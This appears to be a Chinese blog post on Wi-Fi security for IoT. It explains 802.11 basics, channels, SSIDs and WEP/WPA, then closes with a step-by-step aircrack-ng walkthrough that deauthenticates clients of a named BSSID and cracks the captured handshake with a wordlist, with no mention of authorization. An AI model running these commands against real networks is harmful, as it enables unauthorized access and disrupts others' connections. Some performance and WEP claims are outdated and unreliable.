物联网安全之WIFI协议

简介: 物联网安全之WIFI协议

wifi是什么?

无线协议,手机上的无线技术,也叫做WIFI或是WLAN功能。WIFI全称Wireless Fidelity,又称802.11b标准,它的最大优点就是传输速度较高,可以达到11Mbps,另外它的有效距离也很长,同时也与已有的各种802.11DSSS设备兼容。Wi-Fi 无线保真技术与蓝牙技术一样,同属于在办公室和家庭中使用的短距离无线技术。该技术使用的是2.4GHz附近的频段,该频段尚属没用许可的无线频段。其可使用的标准有两个,分别是IEEE802.11a和IEEE802.11b。IEEE802.11g是802.11b的继任者,在802.11b所使用的相同的2.4GHz频段上提供了最高54Mbps的数据传输率

wlan

WLAN是Wireless Local Area Network的简称,指应用无线通信技术将计算机设备互联起来,构成可以互相通信和实现资源共享的网络体系。无线局域网本质的特点是不再使用通信电缆将计算机与网络连接起来,而是通过无线的方式连接,从而使网络的构建和终端的移动更加灵活。
它是相当便利的数据传输系统,它利用射频(Radio Frequency;RF)的技术,使用电磁波,取代旧式碍手碍脚的双绞铜线(Coaxial)所构成的局域网络,在空中进行通信连接,使得无线局域网络能利用简单的存取架构让用户透过它,达到“信息随身化、便利走天下”的理想境界。

Wifi 与 网线

1、通信方面的区别

无线网络通信双方因为是通过无线进行通信,所以通信之前需要建立连接;而有线网络就直接用线缆连接,不用这个过程了。通信双方通信方式是半双工的通信方式;而有线网络可以是全双工。通信时无线网络在网络层以下出错的概率非常高,所以帧的重传概率很大;而有线网络出错概率非常小。

2、性能方面的区别

有线网络提供卓越的性能。无线网络连接仅提供10Mbps带宽,相反100Mbps有线网络虽然成本稍高,但很容易获得。

3、安全方面的区别

无线网络不如有线网络安全。这是因为无线通信信号在空中传播并且可以被拦截。

wifi频谱划分

2.4GHz的wifi,有14个频谱,其中1 6 11 互不干扰。什么意思?比如一套房里,有客厅,主卧,次卧,分别装了三个路由器,三个电磁波都会受到干扰,上网卡,此时分别设置无线信道为1 6 11,在使用就不会产生卡顿了。

640.png

SSID&BSSID

1)基本服务集(BSS)

基本服务集是802.11 LAN的基本组成模块。能互相进行无线通信的STA可以组成一个BSS(Basic Service Set) 。如果一个站移出BSS的覆盖范围,它将不能再与BSS的其它成员通信。

2)扩展服务集(ESS)

多个BSS可以构成一个扩展网络,称为扩展服务集(ESS)网络,一个ESS网络内部的STA可以互相通信,是采用相同的SSID的多个BSS形成的更大规模的虚拟BSS。连接BSS的组件称为分布式系统(Distribution System,DS)。

SSID是服务集的标识,在同一SS内的所有STA和AP必须具有相同的SSID,否则无法进行通信。

SSID是一个ESS的网络标识(路由器的名称,可自己设置)

BSSID是AP的MAC地址,用来标识AP管理的BSS(路由器的mac地址,无法更改)

无线接入过程三个阶段

STA(工作站)启动初始化、开始正式使用AP传送数据帧前,要经过三个阶段才能够接入(802.11MAC层负责客户端与AP之间的通讯,功能包括扫描、接入、认证、加密、漫游和同步等功能):

1)扫描阶段(SCAN)

2)认证阶段 (Authentication)

3)关联(Association)


认证连接方式

无认证(免费wifi)

有认证

ssid-密码认证

wep

wpa/wpa2

wps

wep

WEP是Wired Equivalent Privacy的简称,有线等效保密(WEP)协议是对在两台设备间无线传输的数据进行加密的方式,用以防止非法用户窃听或侵入无线网络。不过密码分析学家已经找出 WEP 好几个弱点,因此在2003年被 Wi-Fi Protected Access (WPA) 淘汰,又在2004年由完整的 IEEE 802.11i 标准(又称为 WPA2)所取代。WEP 虽然有些弱点,但也足以吓阻非专业人士的窥探了。

wpa/wpa2

WPA全名为Wi-Fi Protected Access,有WPA、WPA2和WPA3三个标准,是一种保护无线电脑网络(Wi-Fi)安全的系统,它是应研究者在前一代的系统有线等效加密(WEP)中找到的几个严重的弱点而产生的。WPA实作了IEEE 802.11i标准的大部分,是在802.11i完备之前替代WEP的过渡方案。WPA的设计可以用在所有的无线网卡上,但未必能用在第一代的无线取用点上。WPA2具备完整的标准体系,但其不能被应用在某些老旧型号的网卡上。

wpa握手流程

640.png

实战演练爆破wifi密码

需购买无线网卡免驱usb

iwconfig 查看无线网卡状态

airmon-ng check kill 关闭占有网卡的进程

激活网卡,需记住下面的网卡名字

airmon-ng start wlxxxxx

查看当前有哪些WIFI

airodump-ng wlan0mon

针对某个wifi流量抓取

    airodump-ng -c 11 --bssid 30:D3:86:E2:40:D0  -w 207 wlan0mon
    c: 指定它的信道
    bssid: mac地址
    w: 任意文件名称,用来保存流量

    选择一个连接的wifi,进行流量攻击

      aireplay-ng -0 40  -a 30:D3:86:E2:40:D0 wlan0mon
      0: 发送攻击次数
      a: mac地址

      爆破cap流量中的密码

        aircrack-ng -w pass.txt 207-01.cap


        相关实践学习
        钉钉群中如何接收IoT温控器数据告警通知
        本实验主要介绍如何将温控器设备以MQTT协议接入IoT物联网平台,通过云产品流转到函数计算FC,调用钉钉群机器人API,实时推送温湿度消息到钉钉群。
        阿里云AIoT物联网开发实战
        本课程将由物联网专家带你熟悉阿里云AIoT物联网领域全套云产品,7天轻松搭建基于Arduino的端到端物联网场景应用。 开始学习前,请先开通下方两个云产品,让学习更流畅: IoT物联网平台:https://iot.console.aliyun.com/ LinkWAN物联网络管理平台:https://linkwan.console.aliyun.com/service-open
        相关文章
        |
        1月前
        |
        XML 编解码 JSON
        【开源视频联动物联网平台】协议包管理
        【开源视频联动物联网平台】协议包管理
        35 1
        |
        1月前
        |
        消息中间件 边缘计算 物联网
        【开源视频联动物联网平台】如何解决物联网协议多样性问题
        【开源视频联动物联网平台】如何解决物联网协议多样性问题
        58 0
        |
        1月前
        |
        负载均衡 网络协议 安全
        【开源视频联动物联网平台】SIP协议的特点
        【开源视频联动物联网平台】SIP协议的特点
        36 1
        |
        1月前
        |
        编解码 移动开发 流计算
        【开源视频联动物联网平台】流媒体传输协议HLS,FLV的功能和特点
        【开源视频联动物联网平台】流媒体传输协议HLS,FLV的功能和特点
        34 2
        |
        4月前
        |
        网络协议 物联网 网络性能优化
        物联网网络协议-MQTT协议的使用
        物联网网络协议-MQTT协议的使用
        136 2
        |
        1月前
        |
        安全 物联网 物联网安全
        物联网安全威胁与防护技术
        随着物联网技术的不断发展,物联网安全问题越来越引起人们的关注。物联网安全威胁多种多样,包括数据泄露、设备攻击、网络攻击等等,给个人隐私和社会安全带来了巨大威胁。物联网安全防护技术的研究和实践显得尤为重要。本文将从物联网安全威胁的类型、影响以及物联网安全防护技术的现状和未来发展等方面进行探讨,旨在为读者提供一份全面了解物联网安全问题的指南。
        |
        2月前
        |
        JSON 物联网 开发工具
        MQTT协议问题之如何搭建物联网空调的服务器
        MQTT协议是一个轻量级的消息传输协议,设计用于物联网(IoT)环境中设备间的通信;本合集将详细阐述MQTT协议的基本原理、特性以及各种实际应用场景,供用户学习和参考。
        78 1
        |
        2月前
        |
        消息中间件 网络协议 物联网
        MQTT协议问题之阿里云物联网服务器断开如何解决
        MQTT协议是一个轻量级的消息传输协议,设计用于物联网(IoT)环境中设备间的通信;本合集将详细阐述MQTT协议的基本原理、特性以及各种实际应用场景,供用户学习和参考。
        130 1
        |
        3月前
        |
        传感器 负载均衡 网络协议
        物联网协议之MQTT
        物联网协议之MQTT
        136 0
        |
        3月前
        |
        存储 安全 物联网
        什么是安全引导?这是物联网安全的起点!
        什么是安全引导?这是物联网安全的起点!
        48 0

        相关产品

      • 物联网平台